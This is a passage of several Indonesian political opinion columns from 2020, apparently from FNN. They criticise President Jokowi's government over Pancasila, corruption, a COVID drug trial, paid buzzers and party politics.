Pancasila yang dilakukan oleh pengelola negara itu? Sebagai bandingan dan sekaligus preseden, Hizbut Thahrir Indonesia (HTI) dicabut status badan hukumnya oleh Kemenkumham karena dinilai tidak sesuai dengan Pancasila. Demikian juga Front Pembela Islam (FPI), mengalami persoalan perpanjangan tanda terdaftarnya karena alasan yang lebih kurang sama. Maka, bagaimana kalau penyelenggara negara –yang memang berkewajiban mengelola negara berdasar Pancasila, melenceng dari Pancasila ? Mengingat Pemerintah adalah penerima mandat dari rakyat, maka logikanya, rakyat berhak menarik mandat dan membubarkan pemerintahan yang melenceng dari Pancasila. Azas Contrarius actus sungguh tepat dijadikan alasan. Sebab tanpa mandat, siapa pun tak berhak memerintah rakyat. Inilah persoalan sangat serius yang mengganggu pikiranku. Amin Rais, dalam Risalah yang disampaikannya 13 Agustus 2020, menawarkan pilihan untuk Pak Jokowi : mundur atau terus. Ada 13 persoalan besar “prestasi negatip” pemerintahan Jokowi. Ya, jika ditilik ke 13-nya, lebih kurang samalah dengan penilaian KAMI. Kalau mau terus, kata Amin Rais, “bersihkan istana dari elemen-elemen yang merusak kehidupan Bangsa Indonesia”. Jokowi jelas berada pada posisi sangat sulit. “Membersihkan Istana” sekaligus mengusut pihak-pihak yang terkait dengan RUU HIP dan RUU BPIP serta memperbaiki keadaan seperti yang dituntut KAMI bukanlah pekerjaan gampang. Jokowi akan berhadapan keras dengan kekuatan besar yang ada dibalik layar, termasuk partai-partai pendukungnya. Meneruskan apa yang ada sekarang, dan mengabaikan tuntutan KAMI, Jokowi akan berhadapan dengan rakyat. Harus diakaui, dengan semaraknya dukungan dari seluruh tanah air, KAMI saat ini menjadi corong suara rakyat. Tampaknya, gerakan semacam itu akan terus tumbuh dan berkembang pesat. Dengan kondisi demikian, Jokowi akan menghadapi dua keadaan. Dimundurkan oleh pendukungnya, atau dimundurkan oleh rakyat-rakyat yang menyabut mandat dengan caranya sendiri. Dua-duanya jelas tidak mengenakkan. Maka, yang enak dan terhormat itu adalah mengundurkan diri. Mundur dengan kesadaran. Melepaskan diri dari terlibat dalam penyelewengan dan terlepas dari berhadapan dengan rakyat. Jokowi akan dikenang sebagai negarawan, menjadi teladan bagi generasi mendatang : Jokowi penyelamat NKRI. Wallahu a’lam bisshawab. Penulis adalah Ketua Panitia Masyumi Reborn.

Cukup Bilang "Anti PKI" , PDIP Selamat

by Tony Rosyid Jakarta FNN – Selasa (25/08). Tak sedikit yang curiga bahwa keturunan PKI dan masyarakat yang berupaya untuk hidupkan kembali faham komunisme telah memilih untuk berafiliasi ke Partai Demokrasi Indonesia Perjuangan (PDIP). Kecurigaan ini muncul terutama setelah salah seorang kader PDIP menulis buku dengan berjudul, "Aku Bangga Jadi Anak PKI". Kecurigaan makin menguat ketika ada sejumlah pihak yang mendesak Jokowi atas nama kepala negara meminta maaf kepada PKI. Alasannya, PKI itu korban. Bukan pelaku. Beruntung saja, Jokowi menolak. Jika tidak, akan ada gejolak yang tak perlu terjadi. Belakangan, muncul lagi usulan fraksi PDIP atas Rancangan Undang-Undang Haluan Ideologi Pancasila(RUU HIP). Gagasan RUU ini mengusung Pancasila 1 Juni 1945, yang memperjuangkan Pancasila Trisila dan Ekasila. Juga menolak TAP MPRS No 25 Tahun 1966 menjadi bagian dari konsederannya RUU HIP seperti anti klimaks terhadap kecurigaan itu. Jangan salah paham. Menuduh PDIP itu PKI tentu saja keliru. Tetapi, mencurigai bahwa ada orang-orang yang berpaham komunisme berdiam di PDIP memang tak mudah untuk dibuktikan secara hukum. Terlebih ketika hukum berada dalam kendali politik. Makanya, maklumat Majelis Ulama Indonesia (MUI) pada poin kelima yang berisi tuntutan untuk mengusut tuntas konseptor dan pengusul RUU HIP nggak mudah untuk dipenuhi. Dengan kata lain “diabaikan atau didiamkan saja”. Tidak ada gelagat diproses oleh jajaran penegak hukum negeri ini. Dianggap seperti tidak ada tuntutan. Sebelumnya, keputusan Konggres Umat Islam Indonesia (KUII) yang diselenggaran MUI di Pangkal Pinang Bangka Belitung, menuntut agar Badan Pembinaan Ideologi Pancasila (BPIP) dibubarkan, juga tak dipenuhi. Malah sebaliknya, pemerintah justru mengeluarkan usulan RUU BPIP. Ini adalah tamparan keras terhadap MUI dan semua ormas yang mengikuti KUII. Sekaligus menunjukkan bahwa MUI tak cukup kuat untuk menekan penguasa negeri ini. Beberapa pekan ini, isu HIP mulai meredup. Meski RUU HIP belum dicabut dari prolegnas. Mungkinkah Pemerintah dan DPR sengaja mengulur waktu dan berupaya melunakkan MUI dan pihak-pihak yang menolak HIP? Biar MUI yang jawab. Kembali pada PDIP, bahwa stigma terhadap partai yang dipimpin Megawati ini berkaitan dengan isu komunisme akhir-akhir ini memang semakin menguat. Apakah ini akan ada pengaruhnya terhadap elektabilitas partai banteng? Tunggu perkembangan lebih lanjut. Jika berpengaruh, maka PDIP hanya butuh satu kalimat saja. Melalui ketua umum, yaitu Megawati cukup membuat satu kalimat sebagai pernyataan resmi bahwa, "PDIP Anti PKI". Bisa juga PDIP cukup bilang”tidak kompromi dengan PKI atau tidak akan memberi ruang bagi tumbuh suburnya faham komunis di Indonesia”. Kalimat-kalimat ini mujarab. Cukup efektif untuk menghentikan stigma. Dengan kalimat ini saja, stigma PDIP terkait isu komunisme besar kemungkinan akan berangsur-angsur meredup. Apakah PDIP berani membuat pernyataanseperti itu? Biarlah Ibu Megawati yang menjawabnya. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Gedung Kejaksaan Terbakar, Kasus Korupsi Ambyar

by Edy Mulyadi Jakarta FNN - Senin (24/08). Gedung Kejaksaan Agung terbakar, Sabtu (22/8). Api barkobar dahsyat, dan baru bisa dipadamkan pada Ahad pagi. Rakyat pun bertanya, ini terbakar atau dibakar? Maklum, di gedung itu tersimpan berkas-berkas kasus korupsi. Terbakar atau dibakar, bisa membahayakan kelangsungan penyelesaian kasus-kasus korupsi, yang bukan saja kelas kakap, tapi sudah level ikan paus. Tapi belum apa-apa, Menkopolhukam Mahfud MD di akun twitternya menyatakan, bahwa berkas-bekas kasus korupsi aman. Dengan begitu, kata dia, kelanjutan penanganan perkara tak kan terlalu terganggu. Mahfud bahkan mengklaim sudah bicara langsung dengan Jaksa Agung Burhanuddin dan Jampidum Fadhil Zumhana. Mahfud boleh saja super PD dengan keamanan berkas-berkas kasus korupsi. Tapi Kabid Humas Polda Metro Jaya Yusri Yunus menyebut titik kebakaran ada di Gedung Utama. Artinya, semua berkas tak selamat. Jadi bagaimana? Kepada siapa publik harus percaya? Mahfud apa polisi? Terlepas dari keduanya, Tempo menulis berita dengan judul Kebakaran di Kejaksaan Agung Dicurigai untuk Hilangkan Bukti Kasus Djoko Tjandra. Proposal US$100 juta Masih belum selesai, kawan. Tempo.co menulis jaksa Pinangki mengajukan proposal fatwa untuk pembebasan Djoko Tjandra seharga US$100 juta. Dia mengaku melaporkan pertemuannya dengan Djoko kepada Jaksa Agung. Nah… Adakah kaitan antara peristiwa terbakar atau dibakarnya gedung Kejagung dengan upaya penghilangan berkas kasus-kasus korupsi, khususnya terkait skandal hak tagih Bank Bali yang melibatkan Djoko? Bisa ya, bisa juga tidak. Tapi untuk media sekelas Tempo tentu terlalu harga yang harus mereka bayar, andai menurunkan berita asal-asalan. Apalagi media yang punya jam terbang puluhan tahun ini antara lain memang dikenal dengan liputan investigatifnya. Omong-omong, besar sekali nilai proposal fatwa pembebasan Djoko, ya? US$100 juta! Dengan kurs US$1 setara Rp15.000, maka harga fatwa tersebut mencapai Rp1,5 triliun. Dahsyat! Tentu saja, namanya juga proposal. Pasti akan ada tawar-menawar. Berapa angka finalnya? Hanya mereka dan iblis, juga tentu saja Allah SWT, yang tahu. Tapi semua ini menggambarkan betapa amburadulnya penegakan hukum di negeri ini. Di mata para elit itu, hukum benar-benar menjadi komoditas yang gurih diperdagangkan. Ingat, Proposal tadi bukan ditawarkan pak Dullah, tukang cendol yang keliling keluar masuk gang menjajakan dagangannya. Proposal itu juga bukan dibuat oleh mpok Minah, tukang gado-gado di samping rel kereta. Tapi proposal itu diajukan oleh jaksa. Bukan sembarang jaksa, melainkan jaksa yang menangani kasus korupsi tersebut. Benar-benar rusak! Ini pula yang menjelaskan kenapa rakyat tidak terus terpuruk nasibnya, kendati hidup di negeri yangtelah 75 tahun merdeka. Ini pula yang mengabarkan, betapa cita-cita para pendiri bangsa seperti yang tercantum dalam paragraph keempat UUD 1945, serta dengan mewujudkan suatu keadilan sosial bagi seluruh rakyat Indonesia, makin jauh. Apa arti dari semua ini? Artinya, Indonesia tidak sedang baik-baik saja. Indonesia sedang dalam masalah besar. Indonesia sedang sakit. Sekarat. Indonesia di ambang ambyarrr… Presiden pas-pasan Semua ini terjadi karena presiden yang tengah berkuasa gagal memenuhi mandat konstitusi. Presiden sebagai kepala negara dan kepala pemerintahan tidak memiliki kemampuan yang dibutuhkan untuk memimpin negara besar seperti Indonesia. Negara yang nyaris remuk-redam karena selama enam tahun ini penguasa telah salah urus. Kapasitas dan kapabalitas Joko Widodo sebagai presiden jauh di bawah standar yang dibutuhkn seorang pemimpin. Jangan pula bicara soal integritas, wuiihhh… sangat mengerikan! Bagaimana mungkin seorang pemimpin berintegritas bisa menggunakan Istana untuk urusan pribadi dan keluarga. Di Istana pula dia memanggil lawan politik anaknya untuk diminta mundur. Yang lebih buruk lagi, dia menyogok dengan menawarkan jabatan kepada orang yang diminta mundur itu. Jadi, kalau Indonesia mau bangkit, mau lepas dari krisis yang membelit, tidak ada jalan lain kecuali meminta dengan hormat agar Presiden mengundurkan diri. Kasihan rakyat yang harus berjibaku sendiri mempertahankan hidup di tengah pandemi dan himpitan harga-harga yang melangit. Kasihan petani dan nelayan kita karena impor yang ugal-ugalan. Kasihan Indonesia yang sumber daya alamnya dikuras secara brutal dan illegal. Kasihan bangsa ini yang kedaulatannya jatuh ke titik nadir akibat utang luar negeri yang serampangan dan berbunga amat mahal. Jadi, mas Joko, mbok mundur, lah. Please, deh… Penulis adalah Wartawan Senior FNN.CO.ID

Perbaiki Prosedur Vaksin Covid 19 Baru Bisa Lolos

by Mochamad Toha Jakarta, FNN (Senin 23/08). Uji klinis 3 kombinasi obat untuk virus Corona (Covid-19) di Universitas Airlangga diwarnai kontroversi. Sempat diklaim sebagai bakal jadi obat Corona pertama di dunia, namun Badan Pengawas Obat dan Makanan (BPOM) berkata lain. “Ditemukan ada critical finding,” kata Kepala BPOM Penny Kusumastuti Lukito kepada pers di channel YouTube BPOM, Rabu (19/8/2020). Ada beberapa catatan yang disampaikan Penny dalam kesempatan tersebut. Pertama, terkait validitas. Hasil inspeksi di pusat penelitian di Bandung menunjukkan perlunya beberapa klarifikasi data yang kritikal terkait efektivitas kombinasi obat yang diuji. “Belum menunjukkan perbedaan yang signifikan,” ungkap Penny. Catatan lainnya adalah soal subjek uji yang belum merepresentasikan randomisasi. Semua kasus di Secapa TNI AD di Bandung yang diteliti merupakan pasien dengan gejala ringan. “Sehingga efektivitas pada subjek dengan derajat penyakit sedang dan berat tidak terwakili,” lanjutnya. Bahkan, beberapa pasien adalah OTG (orang tanpa gejala). Menurut Penny, sesuai protokol yang berlaku OTG seharusnya tidak perlu mendapat obat tersebut. Atas beberapa catatan tersebut, BPOM akan menilai perbaikan dan klarifikasi yang diberikan oleh tim peneliti maupun sponsor. “Jika perbaikan dan klarifikasi itu tidak dapat mendukung validitas hasil uji klinik, maka peneliti harus mengulang pelaksanaan uji klinik,” rilis BPOM. Ketiga kombinasi obat yang menjalani uji klinis, bekerja sama dengan TNI-AD dan BIN itu adalah sebagai berikut: 1. Lopinavir/Ritonavir dan Azithromycin; 2. Lopinavir/Ritonavir dan Doxycyclin; 3. Hydrochloroquine dan Azithromycin. Obat yang dikembangkan tim peneliti Unair, TNI AD, dan BIN itu diberikan kepada 1.308 pasien di Secapa AD, Bandung. BIN menyebut sebanyak 85 persen pasien positif Covid-19 telah sembuh. Uji klinis itu dilakukan pada 7 Juli hingga 4 Agutus 2020, dalam keterangan yang diterima CNNIndonesia.com, protokol uji klinis telah mendapatkan persetujuan pelaksanaan uji klinik (PPUK) oleh BPOM dengan Nomor PP.01.01.1.3.07.20.06. Sementara, Epidemiolog Universitas Indonesia Pandu Riono menyebut pengembangan obat virus corona hasil penelitian Unair bersama dengan TNI AD dan BIN belum teregistrasi uji klinis di Badan Kesehatan Dunia (WHO). Ingat, hingga kini WHO belum merekomendasikan satu pun obat untuk mencegah/mengobati infeksi Covid-19. Obat dari gabungan Unair-TNI AD-BIN ini juga belum mendapatkan izin edar dari BPOM. Selain itu, tim Unair-TNI AD-BIN pun belum mengungkapkan secara rinci hasil serta metode uji klinis. Melansir SINDOnews.com, Minggu (16 Agustus 2020 – 19:16 WIB), Ahli Epidemologi UI Pandu Riono menegaskan bahwa yang paling penting dari sebuah riset adalah prosedurnya. Jika obat Covid-19 hasil penelitian Unair bekerja sama dengan BIN dan TNI itu tidak memenuhi secara prosedural, maka obat itu tidak layak terdaftar BPOM. Ia pun siap menggugat jika BPOM menerimanya. “Yang paling penting adalah prosesnya, apakah diikuti nggak standar prosedurnya. Itu yang paling penting. Makanya saya berani bilang, jangan percaya. Karena itu berdasarkan kaidah standar, kalau itu udah dilanggar sama mereka, jangan dipercaya,” lanjutnya. “Apalagi sampai didaftarkan oleh Badan POM, dan Badan POM menerima, saya gugat,” kata Pandu saat dihubungi SINDOnews, Minggu (16/8/2020). Menurut Dosen Fakultas Kesehatan Masyarakat (FKM) UI ini, untuk semua penelitian yang bersifat nasional apakah itu obat atau vaksin, harus di-review oleh Komite Etik Balitbangkes. Selain me-review, Balitbangkes juga akan memonitor setiap proses penelitian tersebut. Obat Covid-19 ini tak sesuai standar prosedur yang seharusnya. “Saya menggugatnya bukan ke TNI/BIN, tapi ke akademis Unair-nya, sebagai lembaga yang bertanggung jawab terhadap integritas ilmu pengetahuan,” tegasnya. “Mereka tahu itu, tidak ada jalan pintas untuk pengembangan ilmu,” ujar Pandu. Menurutnya, semua tahu bahwa Covid-19 ini bencana dunia, tetapi WHO membuat Clinical International Trial, di mana ada multi center study terkait obat-obatan yang semuanya mengikuti prosedur. Di Indonesia pun Balitbangkes berperan sebagai motornya. Semua harus patuh pada regulasi karena hasilnya nanti digunakan masyarakat. “Buat apa mengobati jika tidak ada manfaatnya. Seperti Hydrochloroquine,” ungkap Pandu mencontohkan. Hasil studi dunia di beberapa negara sudah mengomunikasikan bahwa hydrochloroquine itu tidak ada manfaatnya. Di Amerika sudah dicabut sebagai obat untuk pengobatan Covid-19, di Indonesia belum dicabut. Apakah masih mau diberikan Covid-19 karena ada efek sampingnya yang sampai meninggal. Di daerah ada kematian, dia meninggal karena ada obat yang tidak perlu diberikan,” ungkap Pandu lagi. Karena itu, ia mempertanyakan kenapa Unair tidak bekerja sama dengan lembaga penelitian lainnya agar ada saling koreksi, dan justru bekerja sama dengan BIN dan TNI. “Kok Unair tidak kerja sama dengan lembaga penelitian lain dan malah kerja sama dengan lembaga militer. Unpad Bandung misalnya, Unpad juga kuat kok clinical trial-nya, kerja sama akademik itu diperlukan untuk saling koreksi,” katanya. Dokter Tifauzia Tyassuma, Peneliti dan Penulis Presiden AHLINA Institute mengatakan, Uji Klinis untuk obat itu harus Randomized Controlled Trials atau RCT. Tahapannya juga harus diikuti dengan ketat: Uji Klinis Fase 1; Uji Klinis Fase 2; Uji Klinis Fase 3. Dan, semua harus dipublikasi terlebih dahulu dengan pengujian Peer Review yang ketat. Baru bisa di-BPOM-kan. Baru bisa diproduksi. “Kecuali kalau formula obat itu hanya utak-atik dosis dari formula obat yang sudah ada sebelumnya,” ungkap Dokter Tifauzia. “Maka Anda bisa langsung lompat ke Uji Klinis Fase 3. Kepada orang sakit dengan beberapa tahapan,” lanjut Dokter Tifauzia. Tahapan pertama Uji Klinis Fase 3 Hospital-Based. Dengan pengawasam ketat untuk menguji efficacy-nya (keamanannya). Tahapan kedua Uji Klinis Fase 3 Population Based (karena ini obat maka populasinya tetap Hospital Based dengan jumlah sampel lebih besar dan multi site multi center dari berbagai ragam karakteristik populasi) dan Gold Standar (Baku Emas). “Yaitu obat yang sudah digunakan sebelumnya yang sudah teruji,” katanya. Setelah itu baru publikasi. Berhasil harus publikasi. Gagal pun harus publikasi. Baru setelah itu BPOM akan melakukan verifikasi apakah obat ini layak edar atau tidak. Pengembangan obat untuk pasien positif Covid-19 dilakukan Unair, TNI AD, dan BIN. Mereka menggunakan tiga kombinasi obat. Pertama, Lopinavir-Ritonavir-Azithromycin. Kedua, Lopinavir-Ritonavir-Doxycycline. Ketiga, Hydrochloroquine-Azithromycin. Lopinavir dan Ritonavir adalah dua jenis yang telah lama digunakan dalam mengobati pasien HIV/AIDS. Azithromicin adalah Anti bakteri jenis makrolid yang sudah sering digunakan untuk infeksi kulit dan pernafasan. Doxycycline adalah Antibiotika yang sudah sering digunakan untuk berbagai infeksi dari paru-paru hingga saluran kemih. Hydrochloroquine adalah obat Malaria yang sudah dikenal puluhan tahun. “Sepertinya yang dikutak-katik adalah dosis dan kombinasinya. Artinya aspek Novelty atau Kebaruannya adalah dari kedua sisi tersebut,” tegas Dokter Tifauzia. Bukan menemukan obat yang sama sekali baru. “Dan ini ok saja tidak ada masalah. Asal jangan ada klaim ini penemuan obat baru yang belum pernah ada di dunia. Hanya masyarakat perlu tahu ini formulasi obat yang bukan main-main, baik dari level kekerasan obatnya maupun kemungkinan efek sampingnya,” lanjutnya. Obat yang lagi dibuat ini kelas Rumah Sakit semua dan untuk kasus Moderate sampai Severe. Jadi, kalau obat ini jadi pun, dan lolos BPOM, “Anda jangan mengharapkan obat ini nanti dijual di Alfamart apa Indomaret ya. Apalagi dijual di warung kaya panadol apa Komix.” Apa Ahli Epidemiologi Klinik atau Farmakologi tidak dilibatkan? Inisiatif untuk membuat obat itu bagus dan sah dilakukan. Tetapi prosedurnya harus dijalankan. Prosedur Uji Klinis itu kaidahnya Zero Mistakes. Tidak boleh ada kesalahan sekecil apapun. Dokter Tifauzia menyarankan: perbaiki prosedur! Arie Karimah Muhammad, Pharma-Excellent, Alumni ITB, mengungkapkan, benchmarking akan membuat kita menyadari “How good are we?”, sekaligus “Where are we now?”. Masih tentang klaim bahwa Unair “Sudah Menemukan” obat untuk Covid-19, yang ternyata Hanya mengkombinasikan existing products yang sudah lama ada di pasaran, digunakan untuk penyakit infeksi lain. Produk tersebut adalah antibiotik, antivirus dan antimalaria. Mari kita tengok headline pada Juni 2020 tentang satu langkah keberhasilan terapi Covid-19. Universitas Oxford, yang memimpin uji klinis Recovery (Randomised Evaluation of Covid-19 Therapy) Terbesar di Dunia. Universitas Oxford berhasil menemukan fakta bahwa injeksi deksametason secara intravena 6 mg selama 10 hari terbukti Mengurangi Risiko Kematian pasien Covid-19 yang dirawat di rumah sakit: Sebanyak18% pada kategori parah yang memerlukan tambahan oksigen, dan 6% kategori kritis yang membutuhkan life support ventilator. Kedua kategori tersebut mengindikasikan bahwa pasien sudah mengalami ARDS (Acute Respiratory Distress Syndrome) atau kegagalan fungsi pernafasan akut. Studi tersebut membandingkan 2.104 pasien yang mendapat deksametason dengan 4.321 pasien yang mendapat perawatan biasa (usual care). Apakah lantas Universitas Oxford mempublikasikan hasil itu dengan mengatakan “Sudah Menemukan Obat” untuk mengurangi risiko kematian pasien Covid-19? Nope. Mereka hanya mengatakan, telah menemukan sebuah terobosan (breakthrough) atau sebuah langkah besar ke depan (a msjor step forward) dalam mengobati infeksi Covid-19. Temuan itu kini menjadi guideline baru dalam penanganan pasien Covid-19 di seluruh dunia, karena sudah dibakukan oleh WHO. “Jadi sekali lagi, Unair….please segera lakukan klarifikasi di depan publik. Bukan KSAD atau pihak TNI AD yang harus melakukannya. Diantos nya ku abdi dan netizen/masyarakat,” tulis Arie Karimah Muhammad dalam status FB-nya, 21 Agustus 2020. Namun, kalau BIN menyebut sebanyak 85 persen pasien positif Covid-19 di Secapa Bandung telah sembuh, berarti ada formula lain yang membantu proses penyembuhan mereka! Penulis adalah Wartawan Senior FNN.CO.ID

Buzzer Dan Influencer Penyakit Demokrasi

by M Rizal Fadillah Jakarta FNN – Ahad 923/08). Konon dana yang dikeluarkan Pemerintah hingga Rp. 90 miliar untuk membiayai buzzer dan influencer. Dana itu berasal daru uang rakyat melalui Anggaran Pendapatan dan Belanja Negara (APBN). Tugas buzzer dan infulencer adalah membela, mengkampanyekan, membangun citra hingga memprovokasi. Buruknya jika sampai pada membohongi rakyat. Rakyat dibohongi pakai uang rakyat. Ketua Yayasan Lembaga Bantuan Hukum Indonesia (YLBHI) Asfinawati menyatatakan buzzer dan influencer mengkampanyekan positif segala kerja pemerintah. Isinya bermacam-macam. Tergantung pada orderan. Tentu tidak gratis, tetapi ada sejumlah bayaran. Menurutnya dalam proses politik, hal ini dapat menurunkan kualitas dari demokrasi. Sebenarnya bukan hanya menurunkan. Tetapi telah menjadi penyakit demokrasi. Merusak demokrasi yang sangat dibanggakan rezim penguasa saat ini. Melanggengkan budaya politik transaksional, premanisme, serta menghalalkan kebohongan dan kecurangan dalam berpolitik. Penyakit buzzer dan influencer sangat berbahaya. Di negara komunis seperri Rusia, dan juga China, buzzer dan influencer dapat disetarakan dengan departemen agitasi dan propaganda (agitprop) pada partai komunis. Tugasnya adalah menyosialisasikan visi, misi, dan atau hasil-hasil kerja pemerintah. Bila perlu dengan memutarbalikkan fakta dari yang sebenarnya. Melemahkan hal-hal yang diungkap oposan atau pengeritik. Bahkan bila perlu mencari kelemahan dan kelasahan pribadi pengeritik. Setelah itu menyerang juga pribadi pengeritik. Tidak perduli benar atau. Sumua dana yang dipakai adalah uang rakyat. Agitprop tidak lain "is political propaganda especially the communist propaganda that is spread to the general public through popular media such as literature, plays, phamplets, film, and other art forms with an explicity political message". Keberadaan buzzer dan influencer bukan ciri dari negara demokratis. Prilaku seperti ini adalah ciri negara komunis. Dimana informasi dicengkeram Pemerintah. Hukum yang menjadi alat kekuasaan untuk menjerat semua lawan-kawan politik. Lawan-lawan politik dari kelompok sivil society yang kritis dibungkam. Juga dikriminalisasi dan dijebloskan ke dalam penjara. Untuk itu, adu-domba pun dilakukan. Opini publik dimainkan dan dibolak-balik. Opini yang benar dibang salah, dan sebaliknya yang salah dibilang nenar. Pemerintah sudah memiliki Kementerian Komunikasi dan Informasi (Kemenkoinfo). Kementerian ini diberikan beranggaran pasti dari APBN triliunan rupiah. Keberadaan buzzer dan influencer dengan anggaran tersendiri jelas merupakan bagian dari penyimpangan dan korupsi. Seharusnya anggota Dewan berteriak keras terhadap pelanggaran keuangan negara ini. DPR jangan hanya berdiam diri. Kalau DPR tidak berteriak, jangan berperilaku seolah-olah menjadi bagian dari buzzer dan influencer pula. Rezim yang menggunakan dan mengedepankan buzzer dan influencer adalah rezim yang kehilangan kepercayaan pada dirinya sendiri. Tidak menghormati rakyat, serta menghalalkan segala cara. Rezim seperti ini sulit dipercaya sebagai penyelenggara negara. Penulis adalah Pemerhati Politik dan Kebangsaan.

Buzzer Rupiah Dan Potensi Konflik Bangsa

by Tony Rosyid Jakarta FNN - Ahad (23/08). Sepekan ini ramai pembicaraan soal buzzer rupiah. Yang disoal adalah anggaran negara. Dana puluhan miliaran rupiah dari Anggaran Pendapatan dan Belanja Negara (APBN) yang dipakai untuk biayai operasi buzzer. Sejumlah institusi negara terlibat. Infonya dana untuk buzzer dan infulencer itu senilai Rp 90.45 miliar . Sangat kecil jika diukur dari prosentase besaran APBN 2020 atau 2019. Tapi, cukup besar jika melihat keadaan pertumbuhan ekonomi minus -5,32 persen. Di saat rakyat sedang sulit karena efek pandemi covid-19 dan defisit APBN yang mencapai 3,38 persen, bahkan lebih dan tidak terbatas defisit APBN. Suka-suka pemerintah menetapkan defisit APBN, buzzer mendapatkan suntikan dana senilai Rp 90.45 muliar. Luar biasa kan? Sebenarnya bukan soal besar atau kecil dana yang dikeluarkan pemerintah itu. Ada persoalan yang lebih mendasar. Pertama, apa manfaat buzzer buat bangsa atau rakyat negeri ini? Kedua, ini lebih serius, ada dampak yang cukup menghawatirkan akibat operasi buzzer. Menjawab pertanyaan pertama, kalau ada manfaat dari operasi buzzer, itu manfaat buat siapa? Yang pasti bukan untuk negara. Bukan untuk rakyat. Bukan pula untuk bangsa. Sesuai dengan design operasinya, buzzer dipakai untuk menghadapi lawan politik penguasa dan orang atau kelompok civil society yang kritis kepada penguasa. Buzzer bekerja untuk kepentingan penguasa, lebih dari kepentingan untuk negara. Karenanya, tak memiliki institusi dan kelembagaan khusus. Maka, anggarannya pun nempel ke program-program di berbagai kementerian dan institusi lainnya. Fokus buzzer adalah mengcounter segala bentuk kritik terhadap program dan kebijakan pemerintah. Stigmatisasi makar, bahaya khilafah, Islam garis keras, ekstremisme dan radikalisme adalah bagian narasi yang terus dikelola oleh para buzzer untuk membunuh karakter dan gerakan kelompok civil society yang diidentifikasi sangat kritis kepada pemerintah. Swiping, intimidasi dan persekusi oleh kelompok swasta berseragam juga seringkali menjadi bagian dari operasi buzzer. Tentu, ada anggarannya sendiri. Kalau nggak ada anggaran, ya nggak akan jalan. Nggak ada kerjaan juga Operasi buzzer diduga menjadi salah satu sebab utama kegaduhan sosial dan politik selama ini. Sejumlah aktor yang selalu muncul ketika datang kritik kepada pemerintah adalah bagian dari salah satu model operasi buzzer yang selalu membuat kegaduhan situasi politik di negeri ini. Lu lagi… Lu lagi... Lu lalgi… Orang-orang itu aja. Kalau dilihat aktornya, macam-macam jenis buzzer. Dari yang ecek-ecek, buzzer kelas kampung yang hanya cukup diprovokasi, hingga yang paling canggih dan profesional. Kalau sudah berurusan dengan IT, maka buzzer yang diterjunkan dan beroperasi adalah dari kalangan profesional. Sebagaimana yang dialami oleh sejumlah deklarator KAMI (Koalisi Aksi Menyelamatkan Indonesia) beberapa waktu lalu. Ada sejumlah akun deklarator KAMI diretas, rapat wibinar diganggu, nomor WA dicloning, dan seterusnya. Anggaran senilai Rp 90.45 miliar, sesungguhnya terlalu kecil jika dibandingkan dengan dampak dan potensi social-destruction yang diakibatkan oleh operasi para buzzer. Yaitu potensi konflik sosial-horisontal di masyarakat. Hubungan antar kelompok dan agama dirusak. Kehidupan sosial dan berbangsa menjadi tak nyaman. Kegaduhan selama ini sumbernya bukan ada tidaknya kaum radikal dan makar. Tetapi problem utamanya adalah adanya kelompok-kelompok bayaran yang bekerja secara sistemik menggaungkan isu radikalisme dan makar. Dari sinilah potensi konflik yang sangat menghawatirkan itu. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Oh Tekuak, Pendiri PAN Ternyata Bukan Amin Rais

by Luqman Ibrahim Soemay Jakarta FNN – Ahad (23/08). Hari Partai Amanat Nasional (PAN) merayakan Hari Ulang Tahun (HUT) ke 22. Banyak tokoh nasional yang berpidato di HUT PAN kali ini. Dari internal PAN, selain Ketua Umum Zulkifli Hasan, Ketua Dewan Kehormatan PAN Sutrisno Bachir juga ikut memberikan sambutan. Dari kalangan eksternal PAN, Ketua Umum PDIP Megawati Soekarnoputri dan Presiden Jokowi memberikan sambutan. Dalam sumbutannya, Jokowi menyampaikan tentang perlunya melakukan langkah luar biasa atau extraordinary untuk mencapai kemajuan bangsa. Presiden berharap memontum pandemi Covid 19 dimanaaftkan untuk mengambil lompatan besar. Mengejar ketertinggalan Indonesia. Jokowi berharap PAN sejalan dengan semangat yang disampaikannya. Juga PAN sejalan dengan semangat yang sedang dijalankan pemerintah. (Tempo.co 23/08/2020). Sementara Ketua Umum PDIP Megawati menyampaikan selamat ulang tahun ke 22 kepada PAN. Megawati berterima kasih kepada PAN, karena telah diundang menghadiri acara tersebut. Megawati yakin di usia ini, PAN terus memegang semangat reformasi. Selain Jokowi dan Megawati, tokoh nasional dari luar PAN yang ikut memberikan pidato adalah Ketua Umum PP Muhammadiyah Haedar Nashir, Sekretaris Umum PP Muhammadiyah Abdul Mu’ti, dan Ketua Umum Partai Demokrat Agus Harimurti Yudhoyono. Agus Harimurti Yudhoyono mengatakan, PAN dan Partai Demokrat banyak memiliki kesamaan dan kebersamaan. Terutama saat Soesilo Bambang Yudhoyono r(SBY) menjadi presiden selama dua periode. Alhamdulillah kebersamaan ini terus kita lanjutkan sampai hari ini. “Saya berharap PAN semakin sukses, dan ke depan bersinergi dengan Partai Demokrat”, ujar AHY. Ramainya tokoh-tokoh nasional yang hadir di HUT PAN ke 22 ini menjadi tidak lengkap. Bahkan terasa hambar, karena tidak tampak wajah Prof. Dr. Amin Rais, baik secara fisik maupun vurtual. Publik tentu bertanya-tanya, kemana gerangan Pak Amin Rais? Mengapa Pak Amin Rais tidak terlihat di perayaan ulang tahun PAN kali ini? Jawabannya, hubungan PAN dengan Pak Amin Rais belakangan ini tidak akur. Kenyataan ini akibat hasil dari kongres PAN di Kendari Sulawesi Tenggara Februari lalu. Ketika itu Amin Rais mendukung calon Ketua Umum Mufachri Harahap yang menjadi penantang Zulkifli Hasan. Hasilnya, meskipun kongres berjalan, dan terbilang paling primitif dan tidak bertabat, karena terjadi baku-hantam dan saling lempar kursi sampai berdarah-darah, namun Zulkifli Hasan terpilih sebagai Ketua Umum. Hasil dari pelaksanaan kongres yang brutal inilah yang mendorong Pak Amin Rais untuk meninggalkan PAN. Setelah terpilih sebagai Ketua Umum PAN, Zulkifli Hasan yang adalah kader dan dibesarkan oleh Pak Amin Rais tidak lagi melibatkan Pak Amin Rais di PAN. Padahal Zulkifli dan Pak Amin masih ada hubungaN besanan (Mumtaz, putra Rais menikA dengan putrinya Zulkifli Hasan). Posisi Ketua Dewan Kehormatan PAN yang dulu dijabat Pak Amin Rais, sekarang ditempati oleh Sutrisno Bachir. Saat menyampaikan sambutan, Sutrino Bachir sempat menangis ketika menyebut nama Pak Amin Rais. “Saya dan kami semua mengucapkan terima kasih kepada pendiri PAN Bapak 